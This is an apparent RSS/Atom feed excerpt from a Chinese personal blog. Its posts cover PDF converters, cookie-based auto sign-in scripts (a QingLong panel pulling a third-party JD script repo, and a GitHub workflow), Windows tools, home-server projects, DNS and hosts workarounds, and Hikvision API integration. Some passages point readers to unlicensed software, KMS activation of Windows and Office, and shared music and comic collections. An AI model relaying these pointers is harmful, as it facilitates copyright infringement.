    <content type="html"><![CDATA[<blockquote><p>[!NOTE] 前言<br>前段时间受人之托需要把一个pdf中的表格提取出来，发现市面上工具要么收费，要么效果很差，要么就是又收费效果又差。</p></blockquote><h2 id="比较好的工具">比较好的工具</h2><p>I♥PDF: <a href="https://www.ilovepdf.com/zh-cn">https://www.ilovepdf.com/zh-cn</a><br>PDF转换器: <a href="https://www.pdf2docx.cn/">https://www.pdf2docx.cn/</a></p><h2 id="效果对比">效果对比</h2><h3 id="pdf中的效果">pdf中的效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/72302613bd83cf7e2d055238d98ceda8.png" alt="image.png"></p><h3 id="比较差的转换效果">比较差的转换效果</h3><p>里面包含大量的图片，很难直接使用</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/0f3248e9936d0297ab998e2319f8c115.png" alt="image.png"></p><h3 id="比较好的转换效果">比较好的转换效果</h3><p>明显没有转为图片的问题，而且样式也大体不差。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/4e91e29614423e6f66ffaf08dba0514c.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/20118a948b347c325b9e4c7d0127b061.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">免费的pdf转换工具，可能比较冷门但是比一些大众货好很多</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>薅羊毛的一些小姿势</title>
    <link href="https://blog.allbs.cn/posts/41813/"/>
    <id>https://blog.allbs.cn/posts/41813/</id>
    <published>2024-04-20T03:40:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!NOTE] 引言<br>很多网站有每日签到，每日签到会给到一定的积分，积分可以兑换网站内的物品。但是每天人工去签到肯定很耽误时间，如果能够自动化这个操作，既节省了时间又薅到了羊毛。本文以github的workflow和可以自己搭建的青龙面板来实现这个操作。</p></blockquote><h1>青龙面板</h1><h2 id="京东签到、自动浇水、自动保价">京东签到、自动浇水、自动保价</h2><h3 id="前提">前提</h3><p>建议直接找台电脑、nas啥的部署一个青龙面板，因为我的路由器支持docker，我是直接部署在路由器里面的，路由器不支持的可以用电视盒子部署，家里啥设备都没有的就用工作电脑部署，如果还是没有那就没办法了。</p><h3 id="青龙面板的安装">青龙面板的安装</h3><p><a href="https://github.com/FlechazoPh/QLDependency">https://github.com/FlechazoPh/QLDependency</a></p><h3 id="设置环境变量">设置环境变量</h3><p>想要实现以上功能肯定离不开token，京东token的获取可以用网页打开ipad端获取pt_key和pt_pin。<br><a href="https://bean.m.jd.com/bean/signIndex.action">https://bean.m.jd.com/bean/signIndex.action</a><br>登录后打开F12从cookie中找到pt_key和pt_pin<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/5dc23f978bcc14e5a96b9c837d1f5e85.png" alt="image.png"><br>青龙面板中环境变量配置如下<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/303b1a49deb3684bfef0b552c74fdf6a.png" alt=""></p><h3 id="订阅脚本">订阅脚本</h3><p>创建订阅直接拉取写好的脚本库即可<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/7af29cecb9b20011a2af0655627a3c8e.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/4f7be155319c6fad056141f9ade45490.png" alt="image.png"><br>名称中输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ql repo https://js.jdpro.site/https://github.com/6dylan6/jdpro.git &quot;jd_|jx_|jddj_&quot; &quot;backUp&quot; &quot;^jd[^_]|USER|JD|function|sendNotify|utils&quot;</span><br></pre></td></tr></table></figure><p>定时规则输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">5 * * * *</span><br></pre></td></tr></table></figure><p>点击确定即可<br>等待脚本自动拉取下来。<br>然后等待依赖管理中的依赖下载完成。</p><h3 id="然后就可以等待脚本自动运行了">然后就可以等待脚本自动运行了</h3><p>查看日志，观测脚本运行情况<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/127233ff4f24759422a8fcbdeceb6445.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/4b11e05732d1d99e6c35210bbe2790b1.png" alt=""></p><h3 id="吐槽一下，现在京东每天获取量有够低的，之前一天几百京东轻轻松松，现在一天10豆子。。。">吐槽一下，现在京东每天获取量有够低的，之前一天几百京东轻轻松松，现在一天10豆子。。。</h3><h2 id="看了示例的任务，其实其他的任务都是差不多的，照葫芦画瓢可以搞一些其他网站的定时任务，比如阿里云盘的自动签到之类的。">看了示例的任务，其实其他的任务都是差不多的，照葫芦画瓢可以搞一些其他网站的定时任务，比如阿里云盘的自动签到之类的。</h2><h1>github的workflow</h1><h2 id="以掘金签到为例">以掘金签到为例</h2><p>网站: <a href="https://juejin.cn/">https://juejin.cn/</a></p><h3 id="fork一下github上别人开发好的签到软件juejing-sign">fork一下github上别人开发好的签到软件juejing_sign</h3><p>其他网站同理，github有现成的，也可以根据想要的网站拦截一下签到的api接口，自己开发一下。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/f8a8cc32f2b901cb9edc52393049eead.png" alt="image.png"></p><h3 id="获取网站的cookies">获取网站的cookies</h3><p>F12随便找一个包含cookie的请求，将cookie复制<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/b1d8396dc545fcb318d434d9e4ff067e.png" alt="image.png"></p><h3 id="将cookie设置到fork之后的库中">将cookie设置到fork之后的库中</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/56197d74efa66a069b68c474d6adfa0f.png" alt="image.png"><br>点击那个绿色的按钮<code>new repository secret</code><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/947a50df4f4bd83882965ccdec02532a.png" alt="image.png"><br>Name填入<code>COOKIE</code><br>Secret填入刚才F12查到的cookie的那一大串内容<br>点击Add secret保存</p><h3 id="启用自动运行">启用自动运行</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/7d4668157170ba7ca038a3a7a9a0b3e4.png" alt="image.png"><br>如图位置<br>点击Run workflow即可每天准时签到了</p><h3 id="效果">效果</h3><p>如果不是自动签到，人为签到很难坚持几年不断的。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/0fd7df1887c5f228d246dc273b8b039e.png" alt="image.png"></p><h3 id="签到得到的积分可以抽奖或者用来换实物">签到得到的积分可以抽奖或者用来换实物</h3><p>如图都是以前抽到的东西，如果攒一攒倒是能换一个不错的实物了。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/292f0e26eb6d67687a73bc8d9ce1e99e.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/fb997e0ffdbd74c47ea2020730e25d4a.png" alt="image.png"></p><h3 id="可以换的实物">可以换的实物</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/249b3b253c0fd1b340061727beca89cf.png" alt="image.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[!NOTE] 引言&lt;br&gt;
很多网站有每日签到，每日签到会给到一定的积分，积分可以兑换网站内的物品。但是每天人工去签到肯定很耽误时间，如果能够自动化这个操作，既节省了时间又薅到了羊毛。本文以github的workflow和可以自己搭建的青龙面板来</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="技巧" scheme="https://blog.allbs.cn/tags/%E6%8A%80%E5%B7%A7/"/>
    
  </entry>
  
  <entry>
    <title>各种好用的windows办公工具分享</title>
    <link href="https://blog.allbs.cn/posts/60991/"/>
    <id>https://blog.allbs.cn/posts/60991/</id>
    <published>2024-04-19T10:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="系统操作工具">系统操作工具</h2><h3 id="everything">everything</h3><p>总所周知windows中想要查找一个文件有多费劲，这款软件就是为了解决这个问题，在全盘中不到一秒找到你想要的文件。</p><h3 id="utools">utools</h3><p>utools是一个大杂烩，集成大量的功能，可以指定ctrl + space或者shift+space呼出面板，面板内通过搜索功能名称找到想要的功能，简而言之就是把所有windows里面可以用到的功能都放在这个呼出的面板中，下面说一说我常用的功能。</p><ul><li><p>书签搜索，直接搜索书签名称自动在浏览器中打开。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/91d46bd793aa4773529a0fe20c993e9d.png" alt="image.png"></p></li><li><p>配合everything查找文件，比如查找一个hj212<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/d5dc49dc505a634d495302c4733a149d.png" alt=""></p></li><li><p>看小说，上班担心被发现摸鱼偷偷看小说怎么办，下载摸鱼阅读插件，在线搜索或者导入小说，以非常隐蔽的方式看小说。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/ace42d7e85584af46e0066303a0c9dee.png" alt="image.png"></p></li><li><p>不用去电脑桌面直接打开桌面软件</p></li><li><p>不用特意去找windows系统功能直接搜索打开功能</p></li><li><p>面板功能，设置为鼠标的某个键，点击这个键会呼出面板，面板可以取色，锁屏，测距等等。</p></li><li><p>粘贴板，将所有复制过的内容保存，可以后续再查找这些功能。</p></li><li><p>不同端的内容传输，比如不同电脑在线传文件等。</p></li><li><p>功能很多，就不一一列举了。</p></li></ul><h3 id="powerToys">powerToys</h3><p>微软官方开发的一款系统辅助的工具。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/4abbfb473fe7d59a7e78ada196d2fa3a.png" alt="image.png"></p><ul><li>hosts文件修改</li><li>环境变量便捷修改</li></ul><h2 id="截图工具">截图工具</h2><h3 id="pixpin">pixpin</h3><p>snipaste也用过，qq，微信自带的当然不用说，功能上肯定不如这款工具的。</p><h2 id="影视软件">影视软件</h2><h3 id="PotPlayer">PotPlayer</h3><p>这个工具知名度还是比较高的，可以看直播流，缺点就是一天到晚更新，都不知道更新个什么玩意。</p><h2 id="音乐软件">音乐软件</h2><h3 id="音流">音流</h3><p>我知道肯定很多人用的qq音乐、网易云之类的，但是毕竟还是需要会员的，不能听歌自由。这款软件可以连接自建的音乐服务器，如群晖的DS audio、navidrome、webdav等。至于音乐资源，我想应该没人会操心这个。<br><a href="https://www.hifini.com/">https://www.hifini.com/</a> 这个网站上面基本有你想要的所有音乐。</p><h2 id="密码保存">密码保存</h2><h3 id="1password">1password</h3><p>可以自动填充网页中的密码，肯定比浏览器自带的密码储存工具要安全。但是收费比较贵。</p><h3 id="bitwarden">bitwarden</h3><p>除了比较丑没啥缺点，自建的密码服务，数据都保存在自己手里，比较安心，但是前提是自己的服务器不会被入侵。</p><h2 id="录屏软件">录屏软件</h2><h3 id="bandicam">bandicam</h3><p>还是挺好用的，缺点是收费</p><h2 id="录屏转gif工具">录屏转gif工具</h2><h3 id="ScreenToGif">ScreenToGif</h3><h2 id="shell-ftp">shell+ftp</h2><h3 id="Xshell-Xftp">Xshell+Xftp</h3><p>连接远程服务器不可避免用到的工具。<br>如果有需要的可以在我公共号发送消息<code>shell</code>可以得到免费的xshell和xftp</p><h2 id="文本">文本</h2><h3 id="notepad">notepad++</h3><p>抛开作者的立场来说，这款工具还是非常好用的，不用再忍受windows自带的<code>记事本</code>，好用的功能很多，就不一一列举，只说些我日常经常会用到的功能。</p><ul><li>格式化代码片段</li><li>竖选替换，比如你有一堆文本，竖着部分特征是一致的，那么你可以竖着把这些东西选中并插入自己想要的内容。</li><li>正则替换，正则的强大不用说，指定替换想要的内容。</li><li>文件夹中所有内容替换，指定一个文件夹，将该文件夹下所有文件还有指定内容的字符替换为自己想要的内容。</li></ul><h2 id="笔记工具-最少都是支持markdown的，这个年代应该没人用word了吧">笔记工具(最少都是支持markdown的，这个年代应该没人用word了吧)</h2><h3 id="obsidian">obsidian</h3><p>笔记工具从最开始的有道云-&gt;joplin-&gt;yank note(内置的功能默认是最强大的，而且是国人开发的，其实还是挺好用的)-&gt;语雀(阿里的毕竟是别人服务器，有一定风险)-&gt; typora-&gt;obsidian。<br>obsidian入手门槛比较高，但是有大量的插件，基本可以满足你想要的任何功能。obsidian优缺点大概列举下。</p><ul><li>上手难度很大，开发的人员并没有考虑到行业外人员使用的情况。</li><li>remotely save 同步笔记到不同客户端。</li><li>style setting使你自由定制软件界面，让他呈现你所满意的样式。</li><li>dataview 当你有大量笔记时，这个插件会带给你完全不一样的感觉。</li><li>image upload让你在笔记内粘贴图片时自动上传到图床中，避免笔记在不同端无法查看图片的问题。</li><li>双链不是默认支持的，需要VIP</li><li>支持导出word、pdf等</li></ul><h2 id="图片自动上传工具">图片自动上传工具</h2><h3 id="picGo">picGo</h3><p>开源软件，基本文档工具都支持，让你的图片自动上传到图床中，在你将md的笔记生成网页时也能正常查看图片。</p><h2 id="地图下载器">地图下载器</h2><h3 id="太乐地图下载器">太乐地图下载器</h3><h2 id="文件比较工具">文件比较工具</h2><h3 id="Beyond-Compare-4">Beyond Compare 4</h3><h2 id="文件预览工具">文件预览工具</h2><h3 id="quickLook">quickLook</h3><p>实现mac那种space直接查看word、excel等文件内容而不用双击打开文件。</p><h2 id="浏览器">浏览器</h2><p>推荐Chrome/Edge，其实大部分浏览器都是chromium内核。</p><h3 id="Google-Chrome">Google Chrome</h3><p>如果有梯子的话可以安装一些比较好用的插件让浏览器更加强大。</p><h4 id="插件推荐">插件推荐</h4><ul><li>one Tab 收起tab，不至于一堆tab找不到自己想要的那个。</li><li>AdBlock 去除网页广告，用了这个插件，我已经忘记百度广告长什么样了。</li><li>IE Tab 一些比较极端的网站比如有些银行、比较老的摄像头需要依赖ie内核，可以使用这个插件解决这个问题。</li><li>书签同步 同步不同客户端的书签</li><li>沉浸式翻译 可以翻译英文网页内容，并且以段落形式让中文汉字跟在原版英文段落之后，体验极佳。</li><li>篡改猴 在插件中安装插件，实现各种自定义的功能。比如让CSDN隐藏广告，并且调整页面的展示方式、知乎增强-跳过登录、京东自营过滤等等功能。</li></ul><h3 id="Edge">Edge</h3><p>Edge可以不用梯子就下载这些插件，当然并不是所有插件都能找到。</p><h4 id="免费的Copilot（需要梯子）">免费的Copilot（需要梯子）</h4><p><a href="https://www.bing.com/chat">https://www.bing.com/chat</a><br>可以使用这个ai工具进行自己想要的功能，比如画图<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/54e502b6ea26ac33e9da9cccd731191a.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">长期电脑办公，一些可以给你带来便利的软件，这些都是使用过若干同类软件后最后稳定使用的</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>拥有一台个人服务器，可以做哪些事情？</title>
    <link href="https://blog.allbs.cn/posts/64027/"/>
    <id>https://blog.allbs.cn/posts/64027/</id>
    <published>2024-04-13T04:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!NOTE] 前言<br>实际上买一台工控机做服务器成本并不高，几百块买个树莓派或者n5105、n100都是绰绰有余的，那么它们可以做哪些事情呢？</p></blockquote><ol><li><p>既是服务器也是软路由，配置为旁路由，一部分设备走旁路由，一部分设备走主路由。那么你可以在旁路由中安装小火箭等工具让你畅游资本主义网络，达到指定设备畅游的同时不影响家人使用的设备的目的。<img src="https://nas.allbs.cn:8888/cloudpic/2024/04/51c9415be076b2d123fb9f2e3a8fc3f5.png" alt="image.png"></p></li><li><p>使用nastool+pt+emby/jefflyfin/plex+qBittorrent/Transmission 打造一套完全属于自己的家庭观影中心，没有广告，不用会员，无删减，漂亮的海报墙。<img src="https://nas.allbs.cn:8888/cloudpic/2024/04/0a4984869e6b9b3c3b357b346f9eef80.png" alt="image.png"></p></li><li><p>xiaoya+rclone实现只需要消耗一点点阿里云盘的空间即可观看大几百T的电影、电视剧、动漫、综艺、体育、记录片等等。<img src="https://nas.allbs.cn:8888/cloudpic/2024/04/d05178d6ce63e7a664629e2e885b25cf.png" alt="image.png"></p></li><li><p>xiaoya+Navidrome+音流实现消耗一点点阿里云盘空间收听几十万首歌曲。如果需要音乐资源得，可以<code>关注</code>我并给我发送消息<code>音乐</code>即可有2w多首得音乐资源分享给你。<img src="https://nas.allbs.cn:8888/cloudpic/2024/04/e86f9ac1072e1b19e73b6472cbe1ff4e.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/1beca6d7799b318348f1b0895471c0cc.png" alt="image.png"></p></li><li><p>使用广告屏蔽大师plus+使你指定设备屏蔽犯人得广告，让你得页面保持干爽。</p></li><li><p>安装Home Assistant让你所有得智能家居设备统一集成到一个平台中，小米、美的家居、aqara、苹果等等设备都集中到一个app中，最后还能通过HA再集成到apple home中，给主力手机是苹果得用户提供便利。<img src="https://nas.allbs.cn:8888/cloudpic/2024/04/753d48ab39c14b433ce8a419e5afa318.png" alt="image.png"></p></li><li><p>搭建一个LANraragi电子书、漫画平台，使你漫画、电子书自由。如果需要漫画资源，可以<code>关注</code>我并给我发送消息<code>漫画</code>即可。上述资源可以直接导入LANraragi中，不过漫画资源只有400G而且大多为老漫画，如圣斗士、全职猎人、浪客剑心等。<img src="https://nas.allbs.cn:8888/cloudpic/2024/04/c78b4032ed903bd5a0005f96eed73350.png" alt="image.png"></p></li><li><p>搭建一个碎片化得知识管理平台Memos，让你随时保存idea，和一些零碎得知识点。</p></li><li><p>搭建一个自己得密码管理器Vaultwarden，密码不再用浏览器保存，浏览器下载插件Vaultwarden可以自动填充自己保存过得账号密码，避免网站过多忘记密码。</p></li><li><p>搭建一个在线电视源的代理工具xteve，没有留iptv网线？机顶盒鸡肋，每月还要收费？这就是一个解决方案。</p></li><li><p>ddns-go,家宽很少有人会去办一个固定ip，那怎么办？打洞是一种方法。还有一种方案就是购买一个域名做动态代理，使用域名替代你随时变动得ip，随时随地访问家庭网络。</p></li><li><p>KMS服务器，需要激活windows、office?那么用它就没错了。</p></li><li><p>PhotoPrism相册管理，一款AI驱动的相册管理应用，手机照片太多又舍不得删？那就随时同步到服务器上，保证手机空间大小。</p></li><li><p>实时流量，监控各个设备流量上传下载情况。电视盒子的爱优腾又在偷偷跑pt了？让它无所遁形。</p></li><li><p>网心云，共享带宽，让你带宽回点本，不过不建议，容易被运营商封宽带。</p></li><li><p>ip限速，小孩又在偷偷看动画了?把他设备网速限了！</p></li><li><p>Heimdall，属于自己的导航面板，网址太多容易忘记，书签栏又不好看?那么这个就是为了解决这个问题的。</p></li><li><p>music tag,将没有歌词、没有封面的歌曲自动匹配并下载歌词封面等信息<img src="https://nas.allbs.cn:8888/cloudpic/2024/04/6f8848a14661f3398b1e983b6ccb68a2.png" alt=""></p></li><li><p>minio+picGo,个人的图床应用+图片上传应用，储存个人博客所需的图片，想传多大传多大，想保存多久就保存多久，不用担心存在图床供应商图片丢失，图片过大限制上传等问题。<img src="https://nas.allbs.cn:8888/cloudpic/2024/04/4f358fe024ded68d6eb08aab238e7138.png" alt=""></p></li><li><p>gitea, 私有的git server，不用担心传到github太慢或者gitee包含违禁词被删等问题。</p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[!NOTE] 前言&lt;br&gt;
实际上买一台工控机做服务器成本并不高，几百块买个树莓派或者n5105、n100都是绰绰有余的，那么它们可以做哪些事情呢？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;既是服务器也是软路由，配置为旁路由</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="娱乐" scheme="https://blog.allbs.cn/tags/%E5%A8%B1%E4%B9%90/"/>
    
  </entry>
  
  <entry>
    <title>程序员常用的一些小技巧</title>
    <link href="https://blog.allbs.cn/posts/57298/"/>
    <id>https://blog.allbs.cn/posts/57298/</id>
    <published>2024-04-10T03:40:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!NOTE] 一些小技巧<br>开发可以说是离不开github的，但是github常常打不开，是什么原因造成的？有什么方法解决？</p></blockquote><h2 id="为什么有些网站有时候能访问有时候又不可以？">为什么有些网站有时候能访问有时候又不可以？</h2><p>其实很大概率是运营商的锅，运营商经常会对一些网站进行dns劫持和dns污染，最终就导致了这个问题。</p><h2 id="如何解决">如何解决</h2><h3 id="方法1-修改dns">方法1 修改dns</h3><p>对自己电脑的dns进行修改，使用全国通用的114.114.114.114或者谷歌的8.8.8.8<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/4188ab5a48adb9d2a54970643c297aa5.png" alt="image.png"></p><h3 id="方法2-找到网站的ip并修改本地host">方法2 找到网站的ip并修改本地host</h3><h4 id="找到网站的ip">找到网站的ip</h4><p>首先使用站长工具对你需要访问的网站进行ping测试，还是拿github来举例<br><a href="https://ping.chinaz.com/">https://ping.chinaz.com/</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/ae833787f3d5ac120bb5f397cd8eb5e6.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/4193269fe8f35e11a37f39a6707ffe09.png" alt="image.png"><br>选一个<code>国内的</code>、<code>不超时的</code>、<code>距离你位置比较近的</code>、<code>和你同一个运营商的</code><br>虽然下图都是一样的IP，但是很多其他同样原理的网站是不同的，所以加了很多限定词。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/8f0352663ecbad21b1b4a31e56cf233d.png" alt="image.png"></p><h4 id="修改本地hosts">修改本地hosts</h4><p>位置在C:/Windows/System32/drivers/etc<br>或者使用windows中比较好用的工具powerToys、switchHosts等工具修改<br>增加如下一行内容<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/8a8bf3e9cac6677532c40f17ed79a147.png" alt="image.png"></p><h2 id="ping所有的都不同，或者修改了也无法访问？">ping所有的都不同，或者修改了也无法访问？</h2><p>那可能就是被墙了，你需要特殊的方式来操作了🤓你懂的，不过有了那种方式上述方法也不太需要了。以上方式可以拓展一些场合，比如在路由器里面配置下确保刮削服务能连接商tmdb之类的。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[!NOTE] 一些小技巧&lt;br&gt;
开发可以说是离不开github的，但是github常常打不开，是什么原因造成的？有什么方法解决？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;为什么有些网站有时候能访问有时候又不可以？&quot;&gt;为什么有些网站有</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="技巧" scheme="https://blog.allbs.cn/tags/%E6%8A%80%E5%B7%A7/"/>
    
  </entry>
  
  <entry>
    <title>记录一次对接海康安防平台做二次开发</title>
    <link href="https://blog.allbs.cn/posts/4808/"/>
    <id>https://blog.allbs.cn/posts/4808/</id>
    <published>2024-04-09T03:40:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>前几天对接了海康平台做二次开发，主要涉及到卡口车辆出入、人员刷脸或者刷卡进出等方面，做个记录</p></blockquote><h2 id="卡口相关">卡口相关</h2><h3 id="首先通过海康安防平台的api查询出入口的终端地址和父设备编号">首先通过海康安防平台的api查询出入口的终端地址和父设备编号</h3><h4 id="海康接口调用">海康接口调用</h4><ul><li>接口位置:http://{ip}:{port}/artemis-web/api/detail/1516237474282602496</li><li>接口名称: 获取停车库列表</li><li>接口url: api/resource/v1/park/parkList</li></ul><h4 id="调用一览">调用一览</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/e14149c5343cbcdef69c7c4c7b540d83.png" alt="image-20240402114028254"></p><p>从这个接口中我们可以获取到父设备编号: parkIndexCode</p><h4 id="相关表设计一览">相关表设计一览</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/a4c934c5b27775ef9225c7b73b3fd6e4.png" alt="image-20240402114221644"></p><h3 id="通过父设备编号获取出入口列表">通过父设备编号获取出入口列表</h3><h4 id="海康接口调用-2">海康接口调用</h4><ul><li>接口位置: http://{ip}:{port}/artemis-web/api/detail/1516237474538455040</li><li>接口名称: 获取出入口列表</li><li>接口url: /api/resource/v1/entrance/entranceList</li></ul><h4 id="调用一览-2">调用一览</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/d5d94af1c43e99cd2223e0fe39ca6284.png" alt="image-20240402114900087"></p><p>这样可以讲获取到的code维护在自己数据库中待后面调用使用，卡口可分出入口，根据实际情况自己配置。</p><h3 id="获取车道列表">获取车道列表</h3><h4 id="海康接口调用-3">海康接口调用</h4><ul><li>接口位置: http://{ip}:{port}/artemis-web/api/detail/1516237474626535424</li><li>接口名称: 获取车道列表</li><li>接口url: /api/resource/v1/roadway/roadwayList</li></ul><h4 id="调用一览-3">调用一览</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/1f6e8c06d34b55f28885feb79bd0fca7.png" alt="image-20240402115451296"></p><p>根据上一步获取到的entranceIndexCodes可以进一步获取到车道列表信息，同时保存其中的roadwayIndexCode以便后续的接口调用</p><h4 id="安防平台对应">安防平台对应</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/9ea4c608f06eb7b9e65888c8be8dfccf.png" alt="image-20240402154710688"></p><h4 id="数据库设计，保存其中的出入口的左右车道编号以便后续记录并查询统计卡口车辆出入情况。">数据库设计，保存其中的出入口的左右车道编号以便后续记录并查询统计卡口车辆出入情况。</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/bc86776db233a3187c8eabb4c41eb5f6.png" alt="image-20240402115550583"></p><h3 id="配置相应的服务接受海康推送的通行记录">配置相应的服务接受海康推送的通行记录</h3><h4 id="海康的时间订阅">海康的时间订阅</h4><ul><li>接口位置：http://{ip}:{port}/artemis-web/api/detail/1516237490963349504</li><li>接口名称：按事件类型订阅事件</li><li>接口url：/api/eventService/v1/eventSubscriptionByEventTypes</li></ul><h4 id="调用一览-4">调用一览</h4><p>通过此接口可以将自己服务接口注册进海康服务，最终海康服务会在有相关事件响应时将数据推送到我们服务接口中，可以选择性的将接口数据处理保存。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/a847aeb91ac684a980f9a00c104ad447.png" alt="image-20240402160742322"></p><h4 id="安防平台出入记录">安防平台出入记录</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/05439760ea756ee1f41ad6e41ae1bdeb.png" alt="image-20240403112644061"></p><h2 id="人员相关">人员相关</h2><h3 id="添加人员">添加人员</h3><h4 id="海康接口调用-4">海康接口调用</h4><ul><li>接口位置：http://{ip}:{port}/artemis-web/api/detail/1516237455638921216</li><li>接口名称：添加人员</li><li>接口url:  /api/resource/v1/person/single/add</li></ul><h4 id="注意事项">注意事项</h4><p>添加人员可能会出现缺少tagId<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/44d3f0c99692e0df18c3ac3707aaf670.png" alt="image.png"><br>需要进api管理的合作方进行tagId配置。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/37a0ec5b740956b0d3e7ecabf66c738f.png" alt="image.png"></p><p>然后确保部署综合安防平台的人员将默认储存池配置起来<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/731a7e26c57ce943fe990ac272487f69.png" alt="image.png"></p><p>之后就可以正常添加人员信息和人员照片了，注意当前接口人员头像是必传的。</p><h4 id="添加人员中的orgIndexCode">添加人员中的<code>orgIndexCode</code></h4><p>该字段需要进行下面操作后进行获取</p><h3 id="添加园区及园区下企业">添加园区及园区下企业</h3><h4 id="维护组织架构">维护组织架构</h4><p>首先需要对组织进行维护，组织名称和对应的组织编号，注意这边的组织编号实际上并没有太大用处，实际需要用到的是通过接口查询出来的<code>orgIndexCode</code><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/3e54191f0f1f7b29d69dce3d8feda851.png" alt="image.png"></p><h4 id="获取orgIndexCode">获取<code>orgIndexCode</code></h4><ul><li>接口位置：http://{ip}:{port}/artemis-web/api/detail/1516237457287282688</li><li>接口名称：根据父组织编号获取下级组织列表</li><li>接口url:  /api/resource/v1/org/parentOrgIndexCode/subOrgList</li></ul><h4 id="调用一览-5">调用一览</h4><p>总节点的默认orgIndexCode固定为root000000<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/1b275ddc2b11316f6d5d22b1e7e8f146.png" alt="image.png"></p><p>需要将其中每家企业的<code>orgIndexCode</code>储存下来，方便添加人员时使用。</p><h4 id="本地储存表结构设计">本地储存表结构设计</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">create table hk_org  </span><br><span class="line">(  </span><br><span class="line">    id                    bigint auto_increment comment &#x27;主键ID&#x27;  </span><br><span class="line">        primary key,  </span><br><span class="line">    org_index_code        varchar(64)   null comment &#x27;组织唯一编码&#x27;,  </span><br><span class="line">    org_no                varchar(64)   null comment &#x27;组织自定义编码&#x27;,  